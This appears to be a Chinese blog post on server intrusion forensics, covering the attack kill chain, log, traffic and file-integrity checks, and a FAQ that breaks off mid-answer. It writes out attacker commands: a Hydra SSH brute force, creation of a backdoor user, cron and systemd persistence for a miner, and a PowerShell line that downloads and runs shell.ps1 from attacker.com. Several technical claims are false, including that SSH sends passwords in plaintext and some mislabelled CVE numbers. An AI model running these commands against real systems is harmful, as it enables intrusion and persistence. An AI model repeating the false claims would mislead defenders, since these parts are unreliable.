{"id":109437,"date":"2026-09-24T04:33:09","date_gmt":"2026-09-23T20:33:09","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/109437.html"},"modified":"2026-09-24T04:33:09","modified_gmt":"2026-09-23T20:33:09","slug":"%e4%b8%80%e6%ac%a1%e6%9c%8d%e5%8a%a1%e5%99%a8%e5%85%a5%e4%be%b5%e6%98%af%e6%80%8e%e4%b9%88%e5%8f%91%e7%94%9f%e7%9a%84%ef%bc%9f%e4%bb%8e%e5%bc%82%e5%b8%b8%e7%99%bb%e5%bd%95%e5%88%b0%e6%94%bb%e5%87%bb","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/109437.html","title":{"rendered":"\u4e00\u6b21\u670d\u52a1\u5668\u5165\u4fb5\u662f\u600e\u4e48\u53d1\u751f\u7684\uff1f\u4ece\u5f02\u5e38\u767b\u5f55\u5230\u653b\u51fb\u6eaf\u6e90\u5b8c\u6574\u8fd8\u539f\u6392\u67e5\u601d\u8def\u200b"},"content":{"rendered":"<h3>\u5f15\u8a00<\/h3>\n<p>\u968f\u7740\u4e91\u8ba1\u7b97\u3001\u8fdc\u7a0b\u529e\u516c\u548c\u7269\u8054\u7f51\u6280\u672f\u7684\u666e\u53ca&#xff0c;\u670d\u52a1\u5668\u5df2\u6210\u4e3a\u4f01\u4e1a\u6838\u5fc3\u8d44\u4ea7&#xff0c;\u5176\u5b89\u5168\u6027\u76f4\u63a5\u5f71\u54cd\u4e1a\u52a1\u8fde\u7eed\u6027\u548c\u6570\u636e\u5b89\u5168\u3002<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/09\/20260923203303-6ab4377fd61c1.jpg\" alt=\"\u8bf7\u6dfb\u52a0\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<p>2023\u5e74\u5168\u7403\u7f51\u7edc\u653b\u51fb\u4e8b\u4ef6\u6fc0\u589e&#xff0c;\u670d\u52a1\u5668\u5165\u4fb5\u6848\u4f8b\u5360\u6bd4\u8d85\u8fc735%\u3002\u653b\u51fb\u8005\u5e38\u5229\u7528\u6f0f\u6d1e\u5229\u7528\u3001\u5f31\u5bc6\u7801\u7206\u7834\u6216\u793e\u4f1a\u5de5\u7a0b\u5b66\u624b\u6bb5\u6e17\u900f\u670d\u52a1\u5668&#xff0c;\u7a83\u53d6\u6570\u636e\u3001\u690d\u5165\u540e\u95e8\u6216\u5efa\u7acb\u6301\u4e45\u63a7\u5236\u3002<\/p>\n<p>\u75db\u70b9\u5728\u4e8e&#xff0c;\u5165\u4fb5\u540e\u653b\u51fb\u8005\u4f1a\u8fc5\u901f\u6e05\u7406\u65e5\u5fd7\u3001\u9690\u85cf\u75d5\u8ff9&#xff0c;\u5bfc\u81f4\u4e8b\u540e\u53d6\u8bc1\u56f0\u96be\u3002\u5f88\u591a\u4f01\u4e1a\u53d1\u73b0\u95ee\u9898\u65f6\u635f\u5931\u5df2\u6269\u6563&#xff0c;\u9020\u6210\u7ecf\u6d4e\u635f\u5931\u548c\u58f0\u8a89\u635f\u5bb3\u3002\u672c\u6587\u5c06\u7cfb\u7edf\u68b3\u7406\u670d\u52a1\u5668\u5165\u4fb5\u5168\u6d41\u7a0b&#xff0c;\u4ece\u5f02\u5e38\u767b\u5f55\u73b0\u8c61\u5207\u5165&#xff0c;\u63d0\u4f9b\u4e00\u5957\u4ece\u65e5\u5fd7\u5206\u6790\u5230\u653b\u51fb\u6eaf\u6e90\u7684\u5b8c\u6574\u6392\u67e5\u601d\u8def&#xff0c;\u5e2e\u52a9\u5b89\u5168\u5de5\u7a0b\u5e08\u5feb\u901f\u8fd8\u539f\u4e8b\u4ef6\u8109\u7edc\u3002<\/p>\n<p>\u5728\u5b9e\u9645\u73af\u5883\u4e2d&#xff0c;\u670d\u52a1\u5668\u5165\u4fb5\u5e76\u975e\u5355\u4e00\u4e8b\u4ef6&#xff0c;\u800c\u662f\u591a\u9636\u6bb5\u653b\u51fb\u94fe\u7684\u7ec4\u5408\u3002\u653b\u51fb\u8005\u901a\u5e38\u901a\u8fc7\u9776\u5411\u6027\u4fa6\u5bdf\u3001\u81ea\u52a8\u5316\u5de5\u5177\u626b\u63cf\u548c\u624b\u52a8\u6e17\u900f\u9010\u6b65\u63a8\u8fdb&#xff0c;\u8fd9\u8981\u6c42\u5b89\u5168\u4eba\u5458\u5177\u5907\u5168\u9762\u7684\u7cfb\u7edf\u6027\u601d\u7ef4\u3002\u4e3e\u4f8b\u6765\u8bf4&#xff0c;\u8fd1\u5e74\u6765\u4e0d\u5c11\u4f01\u4e1a\u56e0SSH\u5f31\u53e3\u4ee4\u906d\u53d7\u66b4\u51fb&#xff0c;\u5bfc\u81f4\u540e\u7aef\u6570\u636e\u5e93\u6216\u4e1a\u52a1\u7cfb\u7edf\u88ab\u5b8c\u5168\u63a5\u7ba1\u3002\u9762\u5bf9\u8fd9\u7c7b\u6848\u4f8b&#xff0c;\u7406\u89e3\u653b\u51fb\u5168\u94fe\u8def\u81f3\u5173\u91cd\u8981&#xff0c;\u4e0d\u4ec5\u80fd\u5e2e\u52a9\u5feb\u901f\u6b62\u635f&#xff0c;\u66f4\u80fd\u63d0\u5347\u957f\u671f\u9632\u5fa1\u80fd\u529b\u3002<\/p>\n<p>\u672c\u6587\u5c06\u7ed3\u5408\u7ecf\u5178\u6848\u4f8b\u548c\u6280\u672f\u7ec6\u8282&#xff0c;\u6df1\u5165\u5256\u6790\u5165\u4fb5\u8fc7\u7a0b&#xff0c;\u5e2e\u52a9\u8bfb\u8005\u7406\u89e3\u6bcf\u4e2a\u73af\u8282\u7684\u539f\u7406&#xff0c;\u5e76\u7ed9\u51fa\u5b9e\u7528\u5de5\u5177\u548c\u547d\u4ee4&#xff0c;\u7528\u4e8e\u5728\u751f\u4ea7\u73af\u5883\u4e2d\u8fdb\u884c\u9ad8\u6548\u7387\u6392\u67e5\u3002<\/p>\n<p>\u5165\u4fb5\u653b\u51fb\u94fe\u6db5\u76d6\u4fa6\u5bdf\u3001\u6e17\u900f\u3001\u5f02\u5e38\u767b\u5f55\u3001\u63d0\u6743\u6301\u4e45\u5316\u3001\u6a2a\u5411\u4f20\u64ad\u3001\u6570\u636e\u7a83\u53d6\u4ee5\u53caC2\u63a7\u5236\u4e0e\u9500\u6bc1\u7b49\u591a\u4e2a\u9636\u6bb5\u3002\u653b\u51fb\u8005\u5f80\u5f80\u4f7f\u7528Nmap\u626b\u63cf\u7aef\u53e3\u7248\u672c\u4fe1\u606f&#xff0c;\u5229\u7528CVE\u6570\u636e\u5e93\u67e5\u627e\u6f0f\u6d1e&#xff0c;\u5728\u7269\u8054\u7f51\u73af\u5883\u4e2dMirai\u8815\u866b\u4f1a\u6279\u91cf\u626b\u63cf\u8bb0\u5f55\u7aef\u53e3\u3002SSH\u534f\u8bae\u4f20\u8f93\u660e\u6587\u5bc6\u7801&#xff0c;Hydra\u7b49\u5de5\u5177\u5b9e\u73b0\u591a\u7ebf\u7a0b\u7206\u7834\u3002\u83b7\u53d6root\u6743\u9650\u540e&#xff0c;\u53ef\u901a\u8fc7CVE-2022-0847\u7b49\u6743\u9650\u6cc4\u9732\u4fee\u6539\u914d\u7f6e\u6587\u4ef6\u3001\u6dfb\u52a0crontab\u5b9a\u65f6\u4efb\u52a1\u6216systemctl\u6301\u4e45\u5316\u670d\u52a1\u3002\u9690\u85cf\u6587\u4ef6\u4f7f\u7528chattr &#043;i&#xff0c;\u6ce8\u5165\u5185\u6838\u6a21\u5757\u5f62\u6210Rootkit\u3002\u6a2a\u5411\u4f20\u64ad\u5229\u7528SMB\u7aef\u53e3445\u3001RDP\u6216WMI\u590d\u5236\u6587\u4ef6&#xff0c;\u6570\u636e\u7a83\u53d6\u5e38\u89c1MySQL mysqldump\u5bfc\u51fa\u3002C2\u901a\u4fe1\u5e38\u4f2a\u88c5HTTPS443\u7aef\u53e3&#xff0c;\u4f7f\u7528DNS\u96a7\u9053&#xff0c;\u9500\u6bc1\u64cd\u4f5c\u5305\u62ecrm\u65e5\u5fd7\u548ciptables -F\u3002<\/p>\n<p>\u653b\u51fb\u94fe\u901a\u5e38\u4ece\u5916\u90e8IP\u53d1\u8d77&#xff0c;\u901a\u8fc7\u8df3\u677f\u670d\u52a1\u5668\u6e17\u900f\u76ee\u6807\u7f51\u7edc\u3002\u5178\u578b\u653b\u51fb\u8005\u5229\u7528SSH\u534f\u8bae\u3001\u5bc6\u7801\u54c8\u5e0c\u7834\u89e3md5\u6216sha256\u5f31\u53e3\u4ee4\u548cwebshell\u540e\u95e8\u3002\u7406\u89e3\u8fd9\u4e9b\u539f\u7406\u6709\u52a9\u4e8e\u5b89\u5168\u4eba\u5458\u5236\u5b9a\u9488\u5bf9\u6027\u9632\u5fa1\u63aa\u65bd&#xff0c;\u4f8b\u5982\u5b9a\u671f\u5ba1\u8ba1\u5f31\u53e3\u4ee4\u3001\u76d1\u63a7\u7aef\u53e3\u66b4\u9732\u548c\u6d41\u91cf\u57fa\u7ebf\u3002<\/p>\n<h3>\u6838\u5fc3\u539f\u7406\u8bb2\u89e3<\/h3>\n<h4>\u5165\u4fb5\u5178\u578b\u653b\u51fb\u94fe<\/h4>\n<p>\u670d\u52a1\u5668\u5165\u4fb5\u901a\u5e38\u6309\u4ee5\u4e0b\u9636\u6bb5\u5c55\u5f00&#xff0c;\u8fd9\u662f\u4e00\u4e2a\u5178\u578b\u7684\u653b\u51fb\u6740\u4f24\u94fe\u6a21\u578b&#xff08;Kill Chain&#xff09;&#xff1a;<\/p>\n<li>\n<p>\u4fa6\u5bdf\u4e0e\u6e17\u900f&#xff1a;\u653b\u51fb\u8005\u9996\u5148\u4f1a\u4f7f\u7528\u5de5\u5177\u5982Nmap\u626b\u63cf\u5f00\u653e\u7aef\u53e3&#xff0c;\u8bc6\u522b\u53ef\u80fd\u5b58\u5728\u7684\u670d\u52a1\u7248\u672c\u4fe1\u606f\u3002\u901a\u8fc7CVE\u6570\u636e\u5e93&#xff08;\u5982Exploit-DB\u6216National Vulnerability Database&#xff09;\u5bfb\u627e\u5df2\u77e5\u6f0f\u6d1e\u3002\u5e38\u89c1\u7aef\u53e3\u5305\u62ec22&#xff08;SSH&#xff09;\u300180\/443&#xff08;Web\u670d\u52a1&#xff09;\u30013389&#xff08;RDP&#xff09;\u7b49\u3002\u5728\u7269\u8054\u7f51\u573a\u666f\u4e0b&#xff0c;Mirai\u7c7b\u8815\u866b\u5e38\u626b\u63cf\u8bb0\u5f55\u7aef\u53e3\u8fdb\u884c\u6279\u91cf\u5165\u4fb5\u3002Nmap\u547d\u4ee4\u793a\u4f8b&#xff1a;nmap -sV -sC -p- -T4 target_ip&#xff0c;\u53ef\u8f93\u51fa\u670d\u52a1banner\u548c\u7248\u672c\u53f7\u3002Exploit-DB\u641c\u7d22CVE\u5e38\u53d1\u73b0PHP\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e&#xff08;CVE-2021-XXXX&#xff09;\u3001MySQL\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c&#xff08;CVE-2023-XXXX&#xff09;\u6216Apache mod_cgi RCE\u3002\u7269\u8054\u7f51\u8bbe\u5907\u5e38\u8fd0\u884ctelnet\u6216HTTP&#xff0c;Mirai\u8815\u866b\u4f1a\u5c1d\u8bd5\u5f31\u53e3\u4ee4\u5982root\/admin\u767b\u5f55\u5e76\u6ce8\u5165DROPBEAR\u6076\u610f\u4ee3\u7801\u3002<\/p>\n<\/li>\n<li>\n<p>\u5f02\u5e38\u767b\u5f55&#xff1a;\u653b\u51fb\u8005\u5c1d\u8bd5\u66b4\u529b\u7834\u89e3\u5bc6\u7801\u3001\u5229\u7528\u5df2\u77e5\u8d26\u53f7\u62160-day\u6f0f\u6d1e\u767b\u5f55\u3002SSH\u534f\u8bae\u672c\u8eab\u4e0d\u52a0\u5bc6&#xff0c;\u5bc6\u7801\u4f20\u8f93\u660e\u6587\u901a\u8fc7TCP\u7aef\u53e3&#xff0c;\u653b\u51fb\u8005\u5e38\u7528Hydra\u6216Medusa\u8fd9\u7c7b\u591a\u7ebf\u7a0b\u7206\u7834\u5de5\u5177\u3002\u767b\u5f55\u6d41\u7a0b\u5305\u62ec\u7528\u6237\u9a8c\u8bc1\u3001\u6743\u9650\u68c0\u67e5\u548csession\u5efa\u7acb\u3002\u5e38\u89c1\u5f31\u70b9\u5305\u62ecroot\u8d26\u53f7\u65e0\u5bc6\u7801\u3001\u9ed8\u8ba4admin\/admin\u7b49\u3002Hydra\u547d\u4ee4\u793a\u4f8b&#xff1a;hydra -l root -P wordlist.txt -t 64 -V ssh:\/\/target_ip&#xff0c;\u4f7f\u7528\u5b57\u5178\u7206\u7834\u5bc6\u7801&#xff0c;t\u53c2\u6570\u63a7\u5236\u7ebf\u7a0b\u6570\u3002Medusa\u652f\u6301\u591a\u79cd\u534f\u8bae&#xff0c;\u8bb0\u5f55Failed password\/Accepted password\u5230auth.log\u30020-day\u6f0f\u6d1e\u5229\u7528\u5982Apache Struts2\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c&#xff0c;\u653b\u51fb\u8005\u6ce8\u5165webshell\u5230\/var\/www\/html\u76ee\u5f55\u3002<\/p>\n<\/li>\n<li>\n<p>\u63d0\u6743\u4e0e\u6301\u4e45\u5316&#xff1a;\u83b7\u53d6root\u6743\u9650\u540e&#xff0c;\u653b\u51fb\u8005\u4fee\u6539\u914d\u7f6e\u6587\u4ef6\u3001\u6dfb\u52a0crontab\u5b9a\u65f6\u4efb\u52a1\u6216\u540e\u95e8\u6587\u4ef6\u3002\u5229\u7528Linux\u6743\u9650\u5206\u79bb\u673a\u5236\u7ed5\u8fc7&#xff0c;\u5982CVE-2022-0847&#xff08;sudo\u6743\u9650\u6cc4\u9732&#xff09;\u6216CVE-2019-18634&#xff08;pwnkit&#xff09;\u3002\u6301\u4e45\u5316\u624b\u6bb5\u5305\u62ec&#xff1a;<\/p>\n<ul>\n<li>\u521b\u5efa\u65b0\u7528\u6237\u8d26\u53f7&#xff1a;useradd -m hacker -s \/bin\/bash&#xff0c;\u6dfb\u52a0SSH\u5bc6\u94a5\u5230authorized_keys\u3002<\/li>\n<li>\u4fee\u6539\/etc\/crontab\u6216\/var\/spool\/cron\/&#xff1a;crontab -e&#xff0c;\u6dfb\u52a0*\/5 * * * * \/tmp\/miner &amp;\u6bcf5\u5206\u949f\u6267\u884c\u6316\u77ff\u8fdb\u7a0b\u3002<\/li>\n<li>\u4f7f\u7528systemctl\u521b\u5efa\u6301\u4e45\u5316\u670d\u52a1&#xff1a;systemctl enable miner.service&#xff0c;\u7f16\u5199unit\u6587\u4ef6[Unit]\\\\nDescription&#061;Persistent Miner\\\\n[Service]\\\\nExecStart&#061;\/usr\/bin\/miner\\\\nRestart&#061;always\\\\n[Install]\\\\nWantedBy&#061;multi-user.target\u3002<\/li>\n<li>\u9690\u85cf\u6587\u4ef6&#xff1a;chattr &#043;i \/etc\/passwd&#xff0c;\u963b\u6b62\u5220\u9664\u3002<\/li>\n<li>\u6ce8\u5165\u5185\u6838\u6a21\u5757&#xff08;Linux Rootkit&#xff09;&#xff1a;\u4f7f\u7528insmod rootkit.ko&#xff0c;\u4fee\u6539sys_call_table\u9690\u85cf\u8fdb\u7a0b\u548c\u6587\u4ef6\u3002Rootkit\u5e38\u89c1\u5305\u62eclkm\u5185\u6838\u52a0\u8f7d\u6a21\u5757\u548cld_preload\u5171\u4eab\u5e93\u6ce8\u5165\u3002<\/li>\n<\/ul>\n<\/li>\n<li>\n<p>\u6a2a\u5411\u4f20\u64ad\u4e0e\u6570\u636e\u7a83\u53d6&#xff1a;\u5728\u5c40\u57df\u7f51\u5185\u8815\u52a8&#xff0c;\u590d\u5236\u654f\u611f\u6587\u4ef6\u6216\u690d\u5165\u6316\u77ff\/\u7a83\u5bc6\u7a0b\u5e8f\u3002\u5229\u7528SMB&#xff08;\u7aef\u53e3445&#xff09;\u3001RDP\u6216WMI\u7b49\u534f\u8bae\u4f20\u64ad\u3002\u6570\u636e\u7a83\u53d6\u5e38\u89c1\u4e8e\u6570\u636e\u5e93\u5bfc\u51fa&#xff0c;\u5982MySQL mysqldump\u6216PostgreSQL\u5907\u4efd\u3002WMI\u547d\u4ee4\u793a\u4f8b&#xff1a;wmic process call create &#034;powershell -c IEX(New-Object Net.WebClient).DownloadString(&#039;http:\/\/attacker.com\/shell.ps1&#039;)&#034;&#xff0c;\u4e0b\u8f7d\u5e76\u6267\u884cpayload\u3002\u6a2a\u5411\u4f20\u64ad\u8fd8\u53ef\u5229\u7528PsExec\u6216RDP\u51ed\u636e\u590d\u7528\u3002<\/p>\n<\/li>\n<li>\n<p>C2\u63a7\u5236\u4e0e\u9500\u6bc1&#xff1a;\u5efa\u7acb\u547d\u4ee4\u4e0e\u63a7\u5236\u901a\u4fe1&#xff0c;\u6e05\u9664\u75d5\u8ff9\u6216\u8fdc\u7a0b\u6267\u884c\u547d\u4ee4\u3002\u5e38\u89c1\u534f\u8bae\u5305\u62ecHTTPS&#xff08;443\u7aef\u53e3&#xff09;\u4f2a\u88c5C2\u6d41\u91cf&#xff0c;\u4f7f\u7528DNS\u96a7\u9053\u6216HTTP\u5934\u81ea\u5b9a\u4e49\u6570\u636e\u3002\u9500\u6bc1\u64cd\u4f5c\u5305\u62ecrm\u65e5\u5fd7\u3001iptables -F\u6e05\u7a7a\u89c4\u5219&#xff0c;\u4ee5\u53ca\u4fee\u6539ssh\u914d\u7f6e\u6587\u4ef6\u7981\u7528root\u767b\u5f55\u3002C2\u534f\u8bae\u5982Cobalt Strike\u6216Empire&#xff0c;\u901a\u8fc7beacon\u547d\u4ee4\u6267\u884cshell\u3001\u6587\u4ef6\u4e0a\u4f20\u3001\u952e\u8bb0\u5f55\u3002DNS\u96a7\u9053\u4f7f\u7528dig\u53d1\u9001\u7f16\u7801\u6570\u636e\u3002<\/p>\n<\/li>\n<p>\u653b\u51fb\u8005\u5e38\u5229\u7528SSH\u534f\u8bae\u3001\u5bc6\u7801\u54c8\u5e0c\u7834\u89e3&#xff08;\u5982md5\u6216sha256\u5f31\u53e3\u4ee4&#xff09;\u548c\u540e\u95e8\u5982webshell\u3001Linux Rootkit\u7b49\u3002\u5178\u578b\u7684\u653b\u51fb\u94fe\u4ece\u5916\u90e8IP\u53d1\u8d77&#xff0c;\u901a\u8fc7\u8df3\u677f\u670d\u52a1\u5668\u6700\u7ec8\u6e17\u900f\u76ee\u6807\u7f51\u7edc\u3002<\/p>\n<h4>\u6838\u5fc3\u6392\u67e5\u601d\u8def<\/h4>\n<ul>\n<li>\n<p>\u65e5\u5fd7\u5206\u6790&#xff1a;\u91cd\u70b9\u5173\u6ce8\/var\/log\/auth.log&#xff08;SSH\u8ba4\u8bc1\u65e5\u5fd7&#xff0c;\u8bb0\u5f55Failed password\/Accepted password&#xff09;\u3001syslog\u3001nginx\/access.log\u3001apache\/error.log\u3001\/var\/log\/secure&#xff08;RHEL\u7cfb&#xff09;\u4ee5\u53ca\u5ba1\u8ba1\u65e5\u5fd7\/var\/log\/audit\/audit.log\u3002\u7279\u522b\u6ce8\u610flogrotate\u914d\u7f6e&#xff0c;\u56e0\u4e3a\u653b\u51fb\u8005\u5e38\u4fee\u6539\u5176\u53c2\u6570\u4ee5\u5220\u9664\u5386\u53f2\u65e5\u5fd7\u3002logrotate\u914d\u7f6e\u793a\u4f8b&#xff1a;\/var\/log\/auth.log { daily rotate 7 compress missingok notifempty delaycompress}&#xff0c;\u653b\u51fb\u8005\u53ef\u80fd\u6539\u4e3adaily 1\u51cf\u5c11\u4fdd\u7559\u5929\u6570\u3002audit.log\u8bb0\u5f55SELinux\u548c\u7cfb\u7edf\u8c03\u7528&#xff0c;ausearch -m USER_LOGIN -ts recent\u67e5\u8be2\u8ba4\u8bc1\u4e8b\u4ef6\u3002journalctl -f\u5b9e\u65f6\u76d1\u63a7\u7cfb\u7edf\u65e5\u5fd7\u3002<\/p>\n<\/li>\n<li>\n<p>\u6d41\u91cf\u53d6\u8bc1&#xff1a;\u6293\u5305\u5206\u6790C2\u901a\u4fe1\u7aef\u53e3&#xff08;\u598280\u3001443\u3001\u968f\u673a\u7aef\u53e3&#xff09;\u3002\u4f7f\u7528tcpdump\u6216Wireshark\u6355\u83b7\u7f51\u7edc\u6d41\u91cf&#xff0c;\u91cd\u70b9\u89c2\u5bdf\u5efa\u7acb\u8fde\u63a5\u7684\u6e90IP\u3001\u76ee\u7684IP&#xff08;\u901a\u5e38\u6316\u77ff\u6c60\u670d\u52a1\u5668&#xff09;\u548c\u6570\u636e\u5305\u8d1f\u8f7d\u3002\u6ce8\u610fTLS\u63e1\u624b\u8bb0\u5f55&#xff08;Client Hello\u3001Server Hello&#xff09;&#xff0c;\u53ef\u901a\u8fc7tls\u8fc7\u6ee4\u5668\u63d0\u53d6\u3002tcpdump -i eth0 -n port 443 -w capture.pcap\u4fdd\u5b58PCAP\u3002Wireshark\u8fc7\u6ee4\u5668ip.src &#061;&#061; 185.XXX.XXX.XXX and tcp.port &#061;&#061; 443\u9694\u79bb\u6d41\u91cf\u3002TLS\u8bb0\u5f55\u5305\u542bClient Hello\u968f\u673a\u6570\u3001SNI&#xff08;Server Name Indication&#xff09;\u4f2a\u88c5C2\u57df\u540d\u3002<\/p>\n<\/li>\n<li>\n<p>\u6587\u4ef6\u5b8c\u6574\u6027\u68c0\u67e5&#xff1a;\u5bf9\u6bd4\u57fa\u7ebfMD5\/SHA256\u503c&#xff0c;\u68c0\u6d4b\u65b0\u589e\u6216\u4fee\u6539\u6587\u4ef6\u3002\u5de5\u5177\u5982aide\u6216tripwire\u53ef\u751f\u6210\u54c8\u5e0c\u6570\u636e\u5e93&#xff0c;\u5bf9\u6bd4\u65f6\u53d1\u73b0\u53d8\u5316\u3002\u4f7f\u7528lsattr\u67e5\u770b\u6269\u5c55\u5c5e\u6027&#xff0c;chattr\u68c0\u67e5\u4e0d\u53ef\u53d8\u5c5e\u6027\u3002\u5e38\u89c1\u88ab\u4fee\u6539\u6587\u4ef6\u5305\u62ec\/etc\/passwd\u3001shadow\u3001sudoers\u3001sshd_config\u3002aide &#8211;check\u5bf9\u6bd4\u6570\u636e\u5e93&#xff0c;\u8f93\u51fa\u5dee\u5f02\u5982&#043; \/etc\/passwd\u65b0\u589e\u5185\u5bb9\u3002sha256sum \/etc\/passwd &gt; baseline.txt\u751f\u6210\u5feb\u7167&#xff0c;diff\u5bf9\u6bd4\u3002Rootkit\u53ef\u80fd\u4fee\u6539lsattr &#043;i\u4fdd\u62a4\u6587\u4ef6\u3002<\/p>\n<\/li>\n<li>\n<p>\u8fdb\u7a0b\u4e0e\u670d\u52a1\u5ba1\u8ba1&#xff1a;\u4f7f\u7528ps aux | grep -i suspicious\u3001netstat -tuln\u548clsof\u5b9a\u4f4d\u53ef\u7591\u8fdb\u7a0b\u3002\u7ed3\u5408pstree\u67e5\u770b\u8fdb\u7a0b\u6811\u5c42\u6b21&#xff0c;\u68c0\u67e5\u7236\u5b50\u5173\u7cfb\u662f\u5426\u5f02\u5e38\u3002systemctl list-unit-files &#8211;type&#061;service\u68c0\u67e5\u542f\u7528\u670d\u52a1\u662f\u5426\u53ef\u7591\u3002ps aux | grep -E &#039;miner|shell&#039;\u5b9a\u4f4d\u6316\u77ff\u8fdb\u7a0b&#xff0c;netstat -tuln | grep 443\u68c0\u67e5\u76d1\u542c\u7aef\u53e3\u3002lsof -p PID\u67e5\u770b\u8fdb\u7a0b\u6587\u4ef6\u63cf\u8ff0\u7b26&#xff0c;\u68c0\u67e5\u662f\u5426\u5199\u5165\u65e5\u5fd7\u6216\u6570\u636e\u5e93\u3002ps -ef | grep -vE &#039;root|sshd&#039;\u8fc7\u6ee4root\u8fdb\u7a0b\u6392\u9664\u6b63\u5e38\u670d\u52a1\u3002<\/p>\n<\/li>\n<li>\n<p>\u7f51\u7edc\u884c\u4e3a\u5ba1\u8ba1&#xff1a;\u68c0\u67e5\u9632\u706b\u5899\u89c4\u5219\u53d8\u5316\u3001iptables -L\u548cnft list ruleset\u3001cloud platforms security group logs\u3002\u4e91\u5382\u5546\u5982AWS\u7684vpc-flow-logs\u8bb0\u5f55IP\u6d41\u91cf\u6a21\u5f0f\u3002\u6ce8\u610f\u5f02\u5e38\u51fa\u7ad9\u6d41\u91cf&#xff08;\u9ad8\u9891\u8fde\u63a5443\u7aef\u53e3&#xff09;\u3002iptables -L -n -v\u67e5\u770b\u89c4\u5219\u8ba1\u6570&#xff0c;\u5f02\u5e38\u9ad8\u8ba1\u6570\u53ef\u80fd\u88ab\u653b\u51fb\u8005\u6e05\u7a7a\u3002nft list ruleset\u5bf9\u6bd4\u65b0\u65e7\u89c4\u5219\u3002\u4e91\u5b89\u5168\u7ec4\u65e5\u5fd7\u8bb0\u5f55DescribeSecurityGroups\u53d8\u66f4\u3002<\/p>\n<\/li>\n<li>\n<p>\u65f6\u95f4\u540c\u6b65\u9a8c\u8bc1&#xff1a;\u786e\u4fdd\u670d\u52a1\u5668\u65f6\u95f4\u4e0eNTP\u540c\u6b65&#xff0c;\u907f\u514d\u65e5\u5fd7\u65f6\u95f4\u504f\u5dee\u5bfc\u81f4\u8bef\u5224\u3002\u4f7f\u7528chronyc sources\u6216ntpq -p\u68c0\u67e5NTP\u72b6\u6001&#xff0c;date\u547d\u4ee4\u786e\u8ba4\u672c\u5730\u65f6\u533a\u548c\u5f53\u524d\u65f6\u95f4\u3002chrony tracking\u663e\u793a\u504f\u79fb\u91cf&#xff0c;\u901a\u5e38&lt;10ms\u3002\u653b\u51fb\u8005\u53ef\u901a\u8fc7ntpdate\u4fee\u6539\u65f6\u95f4&#xff0c;\u9020\u6210\u65e5\u5fd7\u6df7\u4e71\u3002<\/p>\n<\/li>\n<\/ul>\n<p>\u6838\u5fc3\u6280\u672f\u539f\u7406\u5728\u4e8e\u591a\u5c42\u65e5\u5fd7\u7ec4\u5408\u4f7f\u7528\u548c\u884c\u4e3a\u57fa\u7ebf\u6bd4\u5bf9\u3002\u653b\u51fb\u8005\u5e38\u9690\u85cf\u75d5\u8ff9\u901a\u8fc7\u4fee\u6539logrotate\u6216\u76f4\u63a5rm -rf\u65e5\u5fd7&#xff0c;\u56e0\u6b64\u9700\u4fdd\u7559\u5386\u53f2\u5f52\u6863\u65e5\u5fd7\u6216\u90e8\u7f72\u4e2d\u5fc3\u5316SIEM\u7cfb\u7edf&#xff08;\u5982ELK Stack\u3001Splunk&#xff09;\u3002ELK Stack\u901a\u8fc7Logstash\u89e3\u6790auth.log&#xff0c;Kibana\u4eea\u8868\u76d8\u5c55\u793aFailed login\u70ed\u56fe\u3002<\/p>\n<h5>\u5e38\u89c1\u95ee\u9898&#xff08;FAQ&#xff09;&#xff1a;\u65e5\u5fd7\u5206\u6790\u7bc7<\/h5>\n<p>Q: \u5982\u4f55\u533a\u5206\u6b63\u5e38\u767b\u5f55\u548c\u66b4\u529b\u7834\u89e3&#xff1f;<br \/>\nA: \u6b63\u5e38\u767b\u5f55\u901a\u5e38\u95f4\u9694\u65f6\u95f4\u8f83\u957f&#xff08;\u5206\u949f\u7ea7&#xff09;&#xff0c;\u4e14\u6765\u81ea\u540c\u4e00IP\u7684\u591a\u6b21\u5931\u8d25\u5c1d\u8bd5\u540e\u5e38\u88ab\u5c01\u7981\u3002\u66b4\u529b\u7834\u89e3\u5e38\u51fa\u73b0\u77ed\u65f6\u95f4\u9ad8\u9891\u5931\u8d25\u5c1d\u8bd5&#xff0c;IP\u5730\u7406\u4f4d\u7f6e\u8df3\u8dc3\u3002<\/p>\n<p>Q: \u4ec0\u4e48\u662fwebshell&#xff1f;<br \/>\nA: \u662f\u6307\u901a\u8fc7Web\u670d\u52a1\u5668\u6267\u884c\u4efb\u610f\u4ee3\u7801\u7684\u540e\u95e8&#xff0c;\u901a\u5e38\u653e\u7f6e\u5728Web\u6839\u76ee\u5f55\u4e0b&#xff0c;\u5982.php\u6587\u4ef6\u3002\u653b\u51fb\u8005\u5e38\u7528\u52a0\u5bc6\u7f16\u7801\u6216\u6df7\u6dc6\u4ee3\u7801\u9690\u85cf\u3002<\/p>\n<p>Q: \u5982\u4f55\u5206\u6790SSH\u8ba4\u8bc1\u65e5\u5fd7&#xff1f;<br \/>\nA: \u4f7f\u7528grep &#034;Failed password&#034; \/var\/log\/auth.log | wc -l\u7edf\u8ba1\u5931\u8d25\u6b21\u6570&#xff0c;last -n 100\u67e5\u770b\u5386\u53f2\u4f1a\u8bdd\u3002\u7ed3\u5408grep -E &#034;Accepted password|Invalid user&#034; auth.log | awk &#039;{print $1}&#039;\u63d0\u53d6\u7528\u6237\u540d\u3002<\/p>\n<p>Q: NTP\u65f6\u95f4\u540c\u6b65\u5982\u4f55\u9a8c\u8bc1&#xff1f;<br \/>\nA: chronyc sources\u663e\u793a\u540c\u6b65\u72b6\u6001&#xff0c;ntpq -p\u663e\u793a\u504f\u79fb\u3002date\u4e0entpdate -q\u5bf9\u6bd4\u3002\u504f\u5dee&gt;100ms\u53ef\u80fd\u5bfc\u81f4\u53d6\u8bc1\u9519\u8bef\u3002<\/p>\n<p>Q: \u5982\u4f55\u68c0\u6d4bRootkit&#xff1f;<br \/>\nA: \u4f7f\u7528rkhunter &#8211;check\u626b\u63cf\u5df2\u77e5Rootkit\u7b7e\u540d&#xff0c;lsmod | grep rootkit\u68c0\u67e5\u52a0\u8f7d\u6a21\u5757\u3002strings \/proc\/kallsyms | grep sys_call\u53d1\u73b0hook\u3002<\/p>\n<p>Q: C2\u6d41\u91cf\u5982\u4f55\u8bc6\u522b&#xff1f;<br \/>\nA: 